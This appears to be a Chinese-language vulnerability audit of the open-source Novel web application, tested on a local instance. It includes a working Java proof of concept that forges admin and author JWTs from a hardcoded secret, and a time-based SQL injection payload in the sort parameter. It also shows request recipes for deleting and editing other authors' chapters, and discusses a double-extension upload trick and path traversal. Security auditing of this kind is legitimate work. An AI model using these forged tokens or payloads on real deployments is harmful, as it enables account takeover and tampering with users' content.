项目版本&介绍

V3.5.0 / 2025 Feb 20 发布

Novel 是一套基于时下最新 Java 技术栈 Spring Boot 3 + Vue 3 开发的前后端分离学习型小说项目,配备保姆级教程手把手教你从零开始开发上线一套生产级别的 Java 系统,由小说门户系统、作家后台管理系统、平台后台管理系统等多个子系统构成。包括小说推荐、作品检索、小说排行榜、小说阅读、小说评论、会员中心、作家专区、充值订阅、新闻发布等功能。

部署

下载后端源码 https://github.com/201206030/novel

下载前端源码 https://github.com/201206030/novel-front-web

详情查看: https://docs.xxyopen.com/course/novel/#%E5%AE%89%E8%A3%85%E6%AD%A5%E9%AA%A4

JWT 硬编码

根据: https://docs.xxyopen.com/course/novel/#%E5%AE%89%E8%A3%85%E6%AD%A5%E9%AA%A4

并没有提及需要更改 JWT 密钥,有理由推测存在用户不更改密钥直接部署

根据 JwtUtils.java UserServiceImpl.java

构建 伪造 利用代码

package io.github.xxyopen.novel.Test;
​
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.security.Keys;
​
import java.nio.charset.StandardCharsets;
​
public class JwtForgeryPoc {
​
    // 从应用配置中获取的硬编码JWT密钥
    private static final String JWT_SECRET = "E66559580A1ADF48CDD928516062F12E";
​
    // 系统标识头常量
    private static final String HEADER_SYSTEM_KEY = "systemKeyHeader";
​
    // 系统类型常量
    private static final String NOVEL_FRONT_KEY = "front";    // 前台门户系统
    private static final String NOVEL_AUTHOR_KEY = "author";  // 作家管理系统
    private static final String NOVEL_ADMIN_KEY = "admin";    // 后台管理系统
​
    public static void main(String[] args) {
        // 尝试伪造不同权限的用户令牌
        generateFakeToken(1L, NOVEL_FRONT_KEY);     // 普通用户令牌
        generateFakeToken(1L, NOVEL_AUTHOR_KEY);    // 作家身份令牌
        generateFakeToken(1L, NOVEL_ADMIN_KEY);     // 管理员身份令牌
    }
​
    /**
     * 生成伪造的JWT令牌
     * @param userId 要伪造的用户ID(可以是任意ID)
     * @param systemKey 系统标识(front/author/admin)
     */
    private static void generateFakeToken(Long userId, String systemKey) {
        String token = Jwts.builder()
            .setHeaderParam(HEADER_SYSTEM_KEY, systemKey)
            .setSubject(userId.toString())
            .signWith(Keys.hmacShaKeyFor(JWT_SECRET.getBytes(StandardCharsets.UTF_8)))
            .compact();
​
        System.out.println("伪造的" + getSystemName(systemKey) + "令牌 (用户ID: " + userId + "):");
        System.out.println(token);
        System.out.println("使用方法: 在HTTP请求头中添加 Authorization: " + token);
        System.out.println("-------------------------------------------------------");
    }
​
    private static String getSystemName(String systemKey) {
        switch (systemKey) {
            case NOVEL_FRONT_KEY:
                return "普通用户";
            case NOVEL_AUTHOR_KEY:
                return "作家身份";
            case NOVEL_ADMIN_KEY:
                return "管理员身份";
            default:
                return "未知身份";
        }
    }
}

postman 测试

SQL 注入

Mapper 层 XML 搜索 ${ 观察到 order by 潜在排序注入

<select id="searchBooks" resultType="io.github.xxyopen.novel.dao.entity.BookInfo">
        select
        id,category_id,category_name,book_name,author_id,author_name,word_count,last_chapter_name
        from book_info where word_count > 0
        <if test="condition.keyword != null and condition.keyword != ''">
            and (book_name like concat('%',#{condition.keyword},'%') or author_name like
            concat('%',#{condition.keyword},'%'))
        </if>
        <if test="condition.workDirection != null">
            and work_direction = #{condition.workDirection}
        </if>
        <if test="condition.categoryId != null">
            and category_id = #{condition.categoryId}
        </if>
        <if test="condition.isVip != null">
            and is_vip = #{condition.isVip}
        </if>
        <if test="condition.bookStatus != null">
            and book_status = #{condition.bookStatus}
        </if>
        <if test="condition.wordCountMin != null">
            and word_count >= #{condition.wordCountMin}
        </if>
        <if test="condition.wordCountMax != null">
            and word_count <![CDATA[ < ]]> #{condition.wordCountMax}
        </if>
        <if test="condition.updateTimeMin != null">
            and last_chapter_update_time >= #{condition.updateTimeMin}
        </if>
        <if test="condition.sort != null">
            order by ${condition.sort}
        </if>
  </select>

跟踪调用链

SearchController.searchBooks -> SearchService.searchBooks -> DbSearchServiceImpl.searchBooks -> BookInfoMapper.searchBooks -> XML 

传参为: BookSearchReqDto DTO 对象,污染点: 其中 sort 参数

整个流程没有额外过滤,唯一注意在 service 层 searchBooks 方法 存在两个方法实现。

需要进入 DbSearchServiceImpl(数据库搜索) 才能触发。

@Override
    public RestResp<PageRespDto<BookInfoRespDto>> searchBooks(BookSearchReqDto condition) {
        
        Page<BookInfoRespDto> page = new Page<>();
        page.setCurrent(condition.getPageNum());
        page.setSize(condition.getPageSize());
​
        String sort = condition.getSort();
        System.out.println("----------------------------------");
        System.out.println(sort);
        System.out.println("----------------------------------");
​
        List<BookInfo> bookInfos = bookInfoMapper.searchBooks(page, condition);
​
        return RestResp.ok(
            PageRespDto.of(condition.getPageNum(), condition.getPageSize(), page.getTotal(),
                bookInfos.stream().map(v -> BookInfoRespDto.builder()
                    .id(v.getId())
                    .bookName(v.getBookName())
                    .categoryId(v.getCategoryId())
                    .categoryName(v.getCategoryName())
                    .authorId(v.getAuthorId())
                    .authorName(v.getAuthorName())
                    .wordCount(v.getWordCount())
                    .lastChapterName(v.getLastChapterName())
                    .build()).toList()));
    }

通过 controller 在 前端定位到 触发位置:

http://127.0.0.1:8888/api/front/search/books?keyword=%E5%94%90&pageSize=10&workDirection=0&pageNum=1&sort=sleep(2)

在 ORDER BY 子句中,SQL 引擎会为每一行计算排序的键值。在你的查询中,每个排序键都调用了 sleep(1) 函数。假设查询返回 104 条记录,那么理论上至少会产生 104 次调用,每次调用延时 1 秒,从而引入至少 104 秒的延迟。(不考虑其他算法)

结果集有4个,所以sleep(1) 延迟 4 秒 。验证成功

逻辑越权

小说章节删除

AuthorController -> deleteBookChapter

    /**
     * 小说章节删除接口
     */
    @Operation(summary = "小说章节删除接口")
    @DeleteMapping("book/chapter/{chapterId}")
    public RestResp<Void> deleteBookChapter(
        @Parameter(description = "章节ID") @PathVariable("chapterId") Long chapterId) {
        return bookService.deleteBookChapter(chapterId);
    }

跟踪到 impl 实现层,可以发现并没有像其他接口一样做线程用户身份认证。所以处理认证的仅仅是 AuthorAuthStrategy 作家身份认证

src/main/java/io/github/xxyopen/novel/service/impl/BookServiceImpl.java

@Transactional(rollbackFor = Exception.class)
    @Override
    public RestResp<Void> deleteBookChapter(Long chapterId) {
        // 1.查询章节信息
        BookChapterRespDto chapter = bookChapterCacheManager.getChapter(chapterId);
        // 2.查询小说信息
        BookInfoRespDto bookInfo = bookInfoCacheManager.getBookInfo(chapter.getBookId());
        // 3.删除章节信息
        bookChapterMapper.deleteById(chapterId);
        // 4.删除章节内容
        QueryWrapper<BookContent> bookContentQueryWrapper = new QueryWrapper<>();
        bookContentQueryWrapper.eq(DatabaseConsts.BookContentTable.COLUMN_CHAPTER_ID, chapterId);
        bookContentMapper.delete(bookContentQueryWrapper);
        // 5.更新小说信息
        BookInfo newBookInfo = new BookInfo();
        newBookInfo.setId(chapter.getBookId());
        newBookInfo.setUpdateTime(LocalDateTime.now());
        newBookInfo.setWordCount(bookInfo.getWordCount() - chapter.getChapterWordCount());
        if (Objects.equals(bookInfo.getLastChapterId(), chapterId)) {
            // 设置最新章节信息
            QueryWrapper<BookChapter> bookChapterQueryWrapper = new QueryWrapper<>();
            bookChapterQueryWrapper.eq(DatabaseConsts.BookChapterTable.COLUMN_BOOK_ID, chapter.getBookId())
                .orderByDesc(DatabaseConsts.BookChapterTable.COLUMN_CHAPTER_NUM)
                .last(DatabaseConsts.SqlEnum.LIMIT_1.getSql());
            BookChapter bookChapter = bookChapterMapper.selectOne(bookChapterQueryWrapper);
            Long lastChapterId = 0L;
            String lastChapterName = "";
            LocalDateTime lastChapterUpdateTime = null;
            if (Objects.nonNull(bookChapter)) {
                lastChapterId = bookChapter.getId();
                lastChapterName = bookChapter.getChapterName();
                lastChapterUpdateTime = bookChapter.getUpdateTime();
            }
            newBookInfo.setLastChapterId(lastChapterId);
            newBookInfo.setLastChapterName(lastChapterName);
            newBookInfo.setLastChapterUpdateTime(lastChapterUpdateTime);
        }
        bookInfoMapper.updateById(newBookInfo);
        // 6.清理章节信息缓存
        bookChapterCacheManager.evictBookChapterCache(chapterId);
        // 7.清理章节内容缓存
        bookContentCacheManager.evictBookContentCache(chapterId);
        // 8.清理小说信息缓存
        bookInfoCacheManager.evictBookInfoCache(chapter.getBookId());
        // 9.发送小说信息更新的 MQ 消息
        amqpMsgManager.sendBookChangeMsg(chapter.getBookId());
        return RestResp.ok();
    }

正确的做法

验证漏洞存在

点开任意一本小说加载章节目录,可以获取到完整的章节 id 信息。

在 postman 中测试 (DELETE请求)

携带任意作家身份TOKEN

# chapter/{chapterId}
http://127.0.0.1:8888/api/author/book/chapter/1337924134911365120

回到章节列表刷新删除成功

小说章节更新

同样的问题存在于更新接口

AuthorController -> updateBookChapter

    /**
     * 小说章节更新接口
     */
    @Operation(summary = "小说章节更新接口")
    @PutMapping("book/chapter/{chapterId}")
    public RestResp<Void> updateBookChapter(
        @Parameter(description = "章节ID") @PathVariable("chapterId") Long chapterId,
        @Valid @RequestBody ChapterUpdateReqDto dto) {
        return bookService.updateBookChapter(chapterId, dto);
    }

接口实现层 : BookServiceImpl.updateBookChapter

 @Transactional
    @Override
    public RestResp<Void> updateBookChapter(Long chapterId, ChapterUpdateReqDto dto) {
        // 1.查询章节信息
        BookChapterRespDto chapter = bookChapterCacheManager.getChapter(chapterId);
        // 2.查询小说信息
        BookInfoRespDto bookInfo = bookInfoCacheManager.getBookInfo(chapter.getBookId());
        // 3.更新章节信息
        BookChapter newChapter = new BookChapter();
        newChapter.setId(chapterId);
        newChapter.setChapterName(dto.getChapterName());
        newChapter.setWordCount(dto.getChapterContent().length());
        newChapter.setIsVip(dto.getIsVip());
        newChapter.setUpdateTime(LocalDateTime.now());
        bookChapterMapper.updateById(newChapter);
        // 4.更新章节内容
        BookContent newContent = new BookContent();
        newContent.setContent(dto.getChapterContent());
        newContent.setUpdateTime(LocalDateTime.now());
        QueryWrapper<BookContent> bookContentQueryWrapper = new QueryWrapper<>();
        bookContentQueryWrapper.eq(DatabaseConsts.BookContentTable.COLUMN_CHAPTER_ID, chapterId);
        bookContentMapper.update(newContent, bookContentQueryWrapper);
        // 5.更新小说信息
        BookInfo newBookInfo = new BookInfo();
        newBookInfo.setId(chapter.getBookId());
        newBookInfo.setUpdateTime(LocalDateTime.now());
        newBookInfo.setWordCount(
            bookInfo.getWordCount() - chapter.getChapterWordCount() + dto.getChapterContent().length());
        if (Objects.equals(bookInfo.getLastChapterId(), chapterId)) {
            // 更新最新章节信息
            newBookInfo.setLastChapterName(dto.getChapterName());
            newBookInfo.setLastChapterUpdateTime(LocalDateTime.now());
        }
        bookInfoMapper.updateById(newBookInfo);
        // 6.清理章节信息缓存
        bookChapterCacheManager.evictBookChapterCache(chapterId);
        // 7.清理章节内容缓存
        bookContentCacheManager.evictBookContentCache(chapterId);
        // 8.清理小说信息缓存
        bookInfoCacheManager.evictBookInfoCache(chapter.getBookId());
        // 9.发送小说信息更新的 MQ 消息
        amqpMsgManager.sendBookChangeMsg(chapter.getBookId());
        return RestResp.ok();
    }

章节 ID 和前面获取方法一致

postman 构造请求 (PUT)

# chapter/{chapterId}
http://127.0.0.1:8888/api/author/book/chapter/1337751287857459200

载荷

{
    "chapterName": "章节名测试",
    "chapterContent": "测试11111111111111111111111111111111111111111111111111111111",
    "isVip": "0"
}

身份伪造

此外还可以利用前面已知的 JWT 伪造,获取作家身份登录指定作家后台进行管理。

存在缺陷但利用失败位置

图像上传双扩展名绕过

对于通用图像上传接口实现 ResourceServiceImpl.java (部分信息是手动加的调试打印无影响)

@SneakyThrows
    @Override
    public RestResp<String> uploadImage(MultipartFile file) {
        LocalDateTime now = LocalDateTime.now();
        String savePath =
            SystemConfigConsts.IMAGE_UPLOAD_DIRECTORY
                + now.format(DateTimeFormatter.ofPattern("yyyy")) + File.separator
                + now.format(DateTimeFormatter.ofPattern("MM")) + File.separator
                + now.format(DateTimeFormatter.ofPattern("dd"));
        String oriName = file.getOriginalFilename();
        assert oriName != null;
​
​
        // 根据最后一个点分割文件名和后缀名 (双扩展绕过)
        String saveFileName = IdWorker.get32UUID() + oriName.substring(oriName.lastIndexOf("."));
​
        System.out.println("-----------------------------------");
        System.out.println(savePath);
        System.out.println("-----------------------------------");
        System.out.println(saveFileName);
        System.out.println("-----------------------------------");
        System.out.println(fileUploadPath + savePath);
        System.out.println("-----------------------------------");
​
        File saveFile = new File(fileUploadPath + savePath, saveFileName);
​
​
        if (!saveFile.getParentFile().exists()) {
            System.out.println("-----------------------------------");
            System.out.println("-----------------------------------");
            System.out.println("-----------------------------------");
            System.out.println("-----------------------------------");
            System.out.println("-----------------------------------");
            boolean isSuccess = saveFile.getParentFile().mkdirs();
            if (!isSuccess) {
                System.out.println("创建目录失败");
                throw new BusinessException(ErrorCodeEnum.USER_UPLOAD_FILE_ERROR);
            }
        }
​
        file.transferTo(saveFile);
        System.out.println("文件写入成功");
​
​
        System.out.println("-----------------------------------");
        System.out.println("-----------------------------------");
        System.out.println("-----------------------------------");
        System.out.println("-----------------------------------");
        System.out.println("-----------------------------------");
​
​
        // 先写入磁盘然后判断是否是图片
        if (Objects.isNull(ImageIO.read(saveFile))) {
            // 上传的文件不是图片
            Files.delete(saveFile.toPath());
            throw new BusinessException(ErrorCodeEnum.USER_UPLOAD_FILE_TYPE_NOT_MATCH);
        }
​
        // 返回文件路径导致路径可知
        return RestResp.ok(savePath + File.separator + saveFileName);
    }
​
}

我们只需要关注其中对于文件扩展名类型的校验

 // 根据最后一个点分割文件名和后缀名 (双扩展绕过)
String saveFileName = IdWorker.get32UUID() + oriName.substring(oriName.lastIndexOf("."));

若是我们传入 aa.png.html

那么得到的扩展名将会是 .html

不过由于后面的 ImageIO.read 难以同时做到绕过审查和令服务端下发文件类型为想要的类型

绕过审查只需要模拟 二次渲染 利用手法,数据嵌入图片块

// 先写入磁盘然后判断是否是图片
        if (Objects.isNull(ImageIO.read(saveFile))) {
            // 上传的文件不是图片
            Files.delete(saveFile.toPath());
            throw new BusinessException(ErrorCodeEnum.USER_UPLOAD_FILE_TYPE_NOT_MATCH);
        }

任意文件读取

在 拦截器 FileInterceptor.java

@SuppressWarnings("NullableProblems")
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response,
        Object handler) throws Exception {
​
        // 获取请求的 URI
        String requestUri = request.getRequestURI();
​
        System.out.println("-----------------------------------");
        System.out.println(requestUri);
        System.out.println("-----------------------------------");
​
        // 缓存10天
        response.setDateHeader("expires", System.currentTimeMillis() + 60 * 60 * 24 * 10 * 1000);
        try (OutputStream out = response.getOutputStream(); InputStream input = new FileInputStream(
            fileUploadPath + requestUri)) {
            byte[] b = new byte[4096];
            for (int n; (n = input.read(b)) != -1; ) {
                out.write(b, 0, n);
            }
        }
        return false;
    }

没有经过任何过滤,就直接将来源路径 拼接 fileUploadPath + requestUri 理论可以目录遍历

但是由于设计模式是直接解析路径而不是请求参数 以此结合 tomcat 和 框架本身的安全性,导致在 url 路径中直接构造目录遍历不可被正确解析。

国家一级保护废物